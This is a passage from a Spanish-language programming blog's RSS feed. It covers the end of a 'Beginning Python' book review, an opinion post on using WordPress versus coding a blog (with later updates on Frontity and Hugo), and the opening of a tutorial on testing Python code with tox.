abstracción.&lt;/p&gt;&#xA;&lt;p&gt;Al llegar al final de la introducción, los siguientes capítulos de este libro tocan un tema diferente sobre Python cada uno, algunos de los temas que se tratan son los siguientes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Programación de redes y servidores&lt;/li&gt;&#xA;&lt;li&gt;Manipulación de bases de datos&lt;/li&gt;&#xA;&lt;li&gt;Páginas web&lt;/li&gt;&#xA;&lt;li&gt;Manejo de HTML y XML&lt;/li&gt;&#xA;&lt;li&gt;Interfaces gráficas de usuario (GUI)&lt;/li&gt;&#xA;&lt;li&gt;Extension de código Python con C, C++ o Java&lt;/li&gt;&#xA;&lt;li&gt;Empaquetado de programas&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Y, para cerrar el libro, el autor nos ofrece 10 proyectos diferentes, para poner en práctica todos los temas anteriormente mencionados. Como puedes ver es un paseo completo por varias areas del lenguaje.&lt;/p&gt;&#xA;&lt;p&gt;A propósito, si quieres aprender más de este lenguaje de programación aquí está mi &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/mis-libros-favoritos-para-aprender-a-programar-en-python/&#34;&gt;lista de recursos favoritos para aprender Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;aprender-desde-cero&#34;&gt;Aprender desde cero&lt;/h2&gt;&#xA;&lt;p&gt;El aspecto que más disfruté de este libro fue la gran variedad de temas que toca, pasa rápidamente del tutorial del lenguaje de programación básico a temas más complejos tales como la generación de ejecutables, compensar los cuellos de botella que tiene Python utilizando C ++ , la parte de las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/unittest-python-valen-la-pena-los-tests-en-python/&#34;&gt;pruebas en Python&lt;/a&gt;&#xA; (que es ignorada en la mayoría de los tutoriales de programación), incluso aprendes la existencia de librerías bastante populares como swig, tornado, beautiful soup, entre otras.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;lo-malo-de-beginning-python&#34;&gt;Lo malo de Beginning Python&lt;/h2&gt;&#xA;&lt;p&gt;Mi mayor queja respecto a este libro tiene como culpable el abandono del autor. El libro fue escrito para Python 2, por lo que la mayoría del contenido del libro necesitará de ciertos arreglos para poder seguir ejecutándose dentro de un corto tiempo, y dejará gran parte de su código obsoleto cuando el soporte para Python 2 llegue a su fin. Edito: Ya hay una versión actualizada para Python 3. Si bien el abanico de temas que toca el libro es bastante amplio, peca al tratarlos con una poca profundidad, dedicándoles una decena de páginas a temas tan profundos como interfaces gráficas o testeo de código, los cuales me hubiera gustado que ampliara un poco más, incluso aún a costa de otros temas o proyectos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;mi-opinion&#34;&gt;Mi opinión&lt;/h2&gt;&#xA;&lt;p&gt;Yo lo considero una excelente libro para aprender Python desde cero. Es muy difícil encontrar un tutorial que abarque una gama tan amplia de temas y tan distintos entre sí. Sin embargo si hago un enfasis en que la versión que debe adquirirse es la tercera edición, pues es la que tiene el contenido actualizado a Python 3, las ediciones anterior del libro están totalmente obsoletas y no son nada recomendables, mucho menos en visperas de la depreciación de Python 2.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;&lt;strong&gt;Conocimientos previos recomendados:&lt;/strong&gt; HTML&lt;strong&gt;Recomendado para leerlo:&lt;/strong&gt; 8/10&lt;/p&gt;&#xA;&lt;p&gt;Si prefieres un libro en español y que además &lt;strong&gt;sea gratuito&lt;/strong&gt; visita mi entrada donde &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/el-mejor-libro-de-python-inmersion-en-python/&#34;&gt;reseño Inmersión en Python&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Mi recomendación de libro si te gusta Python es este pequeño libro. Python tricks es una recopilación de trucos (dah, obvio) y partes útiles, pero desconocidas, del lenguaje. Yo pensaba que sabía Python hasta que leí este libro, dale una oportunidad si no me crees.\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-tricks-the-book.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gLHlCB\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de los trucos de Python y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;Si quieres pulir tus conocimientos de Python\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Programar un blog o usar wordpress?</title>
      <link>https://coffeebytes.dev/es/opinion/programar-un-blog-o-usar-wordpress/</link>
      <pubDate>Wed, 26 Jun 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/opinion/programar-un-blog-o-usar-wordpress/</guid>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;El otro día una persona me preguntó que porqué use Wordpress para mi blog si podía desarrollar un sitio web por mi mismo o usar alguna de las opciones disponibles como Ghost, Zola, etc. En la entrada donde explico &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/hello-world-como-aprendi-a-programar/&#34;&gt;como aprendí a programar&lt;/a&gt;&#xA; incluso hablé brevemente de mi pésima experiencia con PHP. Entonces, ¿por qué elegí Wordpress en lugar de desarrollar mi propio blog desde cero? La respuesta a esto es simplemente que, &lt;strong&gt;para este blog, quiero escribir texto, no código&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;de-lo-que-me-pierdo-al-usar-wordpress&#34;&gt;De lo que me pierdo al usar wordpress&lt;/h2&gt;&#xA;&lt;p&gt;Ciertamente al usar Wordpress se pierde muchísimo poder de personalización, tanto a nivel código como a nivel diseño. Solamente puedo acceder a lo que ya hay disponible, modificar el núcleo de wordpress sería una tarea que no pagaría los dividendos adecuados. De la misma manera, al usar Wordpress estoy renunciando a características nuevas del mundo de la programación, como las SPA (out of the box, claro), SSR y otras maravillas que probablemente no están disponibles para Wordpress. Así mismo me pierdo del placer de escribir modificaciones usando lenguajes como javascript o Python, en lugar de PHP.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;lo-que-gano-al-usar-wordpress&#34;&gt;Lo que gano al usar wordpress&lt;/h2&gt;&#xA;&lt;p&gt;Wordpress es un sistema bastante popular en internet y ya cuenta con miles de soluciones a los problemas más comunes. Hay plugins para revisar mi SEO, corregir mi redacción, para prevenir el spam en comentarios, para integrar Wordpress automáticamente con MailChimp, para vincular la programación de entradas con redes sociales usando hootsuite, para optimizar imágenes y miles de plantillas hechas por diseñadores mucho más talentosos que yo. Sí, yo sé que se podría programar todo eso también, pero consume tiempo y ese tiempo podría utilizarlo para escribir más entradas o programar otros sitios web.&lt;/p&gt;&#xA;&lt;h2 id=&#34;mi-experiencia-hasta-ahora-con-wordpress&#34;&gt;Mi experiencia hasta ahora con wordpress&lt;/h2&gt;&#xA;&lt;p&gt;A decir verdad esta es la primera vez que creo algo con wordpress. Instalarlo en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/digital-ocean-review-analisis-y-mi-experiencia-como-usuario/&#34;&gt;Digital Ocean&lt;/a&gt;&#xA; fue bastante sencillo y en menos de 5 minutos tuve un blog en linea y perfectamente funcional, listo para empezar a publicar en él y con un arsenal de herramientas para facilitar mi trabajo. Mis únicos dos problemas (si es que se les puede llamar así) fueron dos; el primero, el alto contenido de spam; el segundo, apache2 no sirve contenido usando http2 de manera predeterminada, por lo que necesité ir a la terminal para modificar la configuración de Apache2. A parte de eso, no he tenido problema alguno con Wordpress, ni perdida de datos, ni bugs en el código; mi sitio web corre relativamente bien, con muy buenos indicadores en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://web.dev&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;lighthouse&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/to-program-a-blog-or-to-use-wordpress/images/web_core_vitals_de_mi_blog.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/to-program-a-blog-or-to-use-wordpress/images/web_core_vitals_de_mi_blog.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Web core vitals de coffee bytes&#34; width=&#34;787&#34; height=&#34;628&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;el-odio-de-los-desarrolladores-hacia-wordpress&#34;&gt;El odio de los desarrolladores hacia wordpress&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;He escuchado que odiar Wordpress entre los desarrolladores está de moda y entiendo su sentir pero solo hasta cierto punto. Yo creo que Wordpress es un excelente sistema para hacer blogs porque es super amigable con el usuario final. Yo he estado al frente de una empresa y sé que el cliente final no quiere entender de tecnicismos, no le interesa lo que es node, nextjs, vercel o lo que es un ataque por XSS, lo que quiere el cliente es poder modificar un sitio a su antojo sin tener que estar llamando a un desarrollador web cada semana. ¿Es lo correcto? Pues yo creo que depende del proyecto, para blogs personales o proyectos menores sí, para algo mucho más sofisticado habría que educar al cliente y explicarle los pros y los contras de usar un CMS como wordpress a corto, mediano y largo plazo.&lt;/p&gt;&#xA;&lt;p&gt;Por otro lado, le doy la razón totalmente a los desarrolladores cuando dicen que usar Wordpress para ecommerce, galerías de fotografías o cualquier otra aplicación es una pésima idea, yo comparto totalmente su sentir. Como escribí anteriormente, creo que en aquellas situaciones donde se requiere una solución mucho más personalizada hay que pasar de Wordpress por completo. Sin embargo es trabajo del desarrollador explicarle al cliente el valor agregado que puede aportar un sitio web personalizado y programado desde cero totalmente a su medida a su marca.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/to-program-a-blog-or-to-use-wordpress/images/wordpress-meme.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/to-program-a-blog-or-to-use-wordpress/images/wordpress-meme.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme de wordpress del rapero&#34; width=&#34;800&#34; height=&#34;720&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;tldr&#34;&gt;TLDR;&lt;/h2&gt;&#xA;&lt;p&gt;En resumen, yo usaría wordpress solo para blogs personales y quizás Landing pages. Sin embargo evitaría usar wordpress para galerías de fotos, ecommerce o cualquier otro tipo de página web que requiera un poco más de personalización.&lt;/p&gt;&#xA;&lt;h2 id=&#34;actualizacion-por-que-ya-no-uso-wordpress-para-este-blog&#34;&gt;Actualización, ¿por qué ya no uso Wordpress para este blog?&lt;/h2&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Actualización 18-Feb-2021: Decidí combinar lo mejor de los dos mundos; un frontend escrito usando las nuevas tecnologías de Javascript y un backend robusto en wordpress. Para hacerlo usé &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://frontity.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Frontity, un framework de React para Wordpress&lt;/a&gt;&#xA;. La navegación es mucho más fluida y puedo personalizarlo a mi gusto. Y, dado que el backend de mi blog sigue siendo wordpress, aún puedo usar Yoast SEO y el editor de entradas de wordpress, desde el cual estoy escribiendo esta entrada.&lt;/p&gt;&#xA;&lt;p&gt;Actualización de Abr-2022: Me cambié a Hugo, un SSG escrito casi por completo en Go, genera sitios estáticos en apróximadamente 1ms por página, utiliza Markdown, el cual es más fácil de respaldar y exportar a otros medios, para generar las páginas y cuenta con muchísimas características incorporadas como: índice de contenido, post recomendados, paginación y prácticamente todo lo que se necesita para crear sitios estáticos.&lt;/p&gt;&#xA;&lt;p&gt;¡La verdad Hugo me encanta!, me permite olvidarme de múltiples problemas de seguridad, y mantener actualizadas las versiones de paquetes en npm y demás. Llevo poco tiempo usándolo pero me ha encantado, lo único malo es la curva de aprendizaje.&lt;/p&gt;&#xA;&lt;p&gt;Pero no te confundas, aún considero que Wordpress es la mejor opción para la mayoría de las personas que quieren empezar un blog, Hugo requiere demasiado conocimiento técnico como para serle útil a todo el mundo, su comunidad es mucho más pequeña y la mayoría de soluciones &amp;ldquo;out of the box&amp;rdquo; están desactualizadas y no son tan numerosas como en Wordpress. Además hecho de menos ciertos plugins como Yoast, el cual cuidaba el SEO a la par que creaba una entrada y con el que no &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/seo/mis-errores-de-optimizacion-en-el-seo-tecnico-al-migrar-de-wordpress/&#34;&gt;tenía que preocuparme por cometer errores de principiante en el SEO de la página&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Incluso desarrollé mi propio tema minimalista, con solo lo básico para mis necesidades, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/EduardoZepeda/hugo-theme-latte&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;el código está en mi github&lt;/a&gt;&#xA;, por lo que si tienes curiosidad puedes revisarlo cuando gustes.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;El otro día una persona me preguntó que porqué use Wordpress para mi blog si podía desarrollar un sitio web por mi mismo o usar alguna de las opciones disponibles como Ghost, Zola, etc. En la entrada donde explico &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/hello-world-como-aprendi-a-programar/&#34;&gt;como aprendí a programar&lt;/a&gt;&#xA; incluso hablé brevemente de mi pésima experiencia con PHP. Entonces, ¿por qué elegí Wordpress en lugar de desarrollar mi propio blog desde cero? La respuesta a esto es simplemente que, &lt;strong&gt;para este blog, quiero escribir texto, no código&lt;/strong&gt;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Testeo con tox en Python, tutorial desde cero</title>
      <link>https://coffeebytes.dev/es/python/testeo-con-tox-en-python-tutorial-desde-cero/</link>
      <pubDate>Tue, 18 Jun 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/python/testeo-con-tox-en-python-tutorial-desde-cero/</guid>
      
      <category>python</category>
      
      <category>testing</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Anteriormente hablé brevemente sobre las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/unittest-python-valen-la-pena-los-tests-en-python/&#34;&gt;pruebas de unittest, coverage, mock, nose, pytest y otras herramientas de testeo en Python&lt;/a&gt;&#xA;. Seguramente te estarás preguntando entonces ¿para qué necesitamos más librerías? En esta entrada vamos a hablar un poco de tox, una herramienta de testeo para probar el código en diferentes versiones de python.&lt;/p&gt;&#xA;&lt;h2 id=&#34;para-que-sirve-tox&#34;&gt;¿Para que sirve Tox?&lt;/h2&gt;&#xA;&lt;p&gt;Imagina que estás escribiendo una aplicación pequeña para el público en general. Todas las pruebas de tu código pasan, la aplicación funciona perfectamente.&lt;/p&gt;&#xA;&lt;p&gt;Al pasar unos días las personas te contactan y te hacen saber que tu aplicación falla. ¿Pero cómo?, todos los test pasan y tu mismo la has probado personalmente. Tras averiguar un poco sobre el problema te das cuenta de que las personas que la usan tienen la versión más nueva de Python. Al parecer el código de la nueva versión cambió y volvió tu aplicación inservible en las nuevas versiones. Pero tus problemas no terminan ahí, hay otros usuarios con versiones de Python muy antiguas que también tienen problemas.&lt;/p&gt;&#xA;&lt;p&gt;Te decides a hacer el testeo de tu aplicación con las nuevas versiones, pero te das cuenta de que es un fastidio, hay demasiadas versiones de Python, tendrías que realizar las pruebas en cada una de ellas. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://tox.readthedocs.io/en/latest/#&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Tox&lt;/a&gt;&#xA; hace eso justamente eso por ti.&lt;/p&gt;&#xA;&lt;p&gt;Tox te permite probar tu código en diferentes entornos, con Python 2.7, Python 3.5, Python 3.6, Python 3.7, con las versiones que tu prefieras. De esa manera podrás probar con que versiones de Python funciona tu código automáticamente y escribirlo en la documentación de tu aplicación.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;como-instalar-y-usar-tox&#34;&gt;Como instalar y usar tox&lt;/h2&gt;&#xA;&lt;p&gt;Vamos a probar brevemente la funcionalidad de Tox. Para empezar instala Tox, si puedes hacerlo en un entorno virtual mucho mejor.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install tox&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;requisitos-para-utilizar-tox&#34;&gt;Requisitos para utilizar tox&lt;/h2&gt;&#xA;&lt;p&gt;Para poder ejecutar tox necesitaremos un archivo tox.ini, un archivo setup.py y un archivo de python que empiece con &amp;rsquo;test_&amp;rsquo; .&lt;/p&gt;&#xA;&lt;h2 id=&#34;crear-un-archivo-toxini-con-tox-quickstart&#34;&gt;Crear un archivo tox.ini con tox-quickstart&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Una manera de crear el archivo necesario para usar tox es por medio del comando tox-quickstart. Al ejecutarlo Tox nos hará varias preguntas y generará automáticamente el archivo tox.ini que necesitamos para las pruebas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tox-quickstart&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Seleccionaremos el número 4 para elegir las versiones de Python nosotros mismos y responderemos con &amp;lsquo;Y&amp;rsquo; a la versión de Python 2.7 y a la de Python 3.5.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;What Python versions &lt;span style=&#34;color:#ff6ac1&#34;&gt;do&lt;/span&gt; you want to &lt;span style=&#34;color:#ff5c57&#34;&gt;test&lt;/span&gt; against?&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; py36&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;2&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; py27, py36&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;3&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;All versions&lt;span 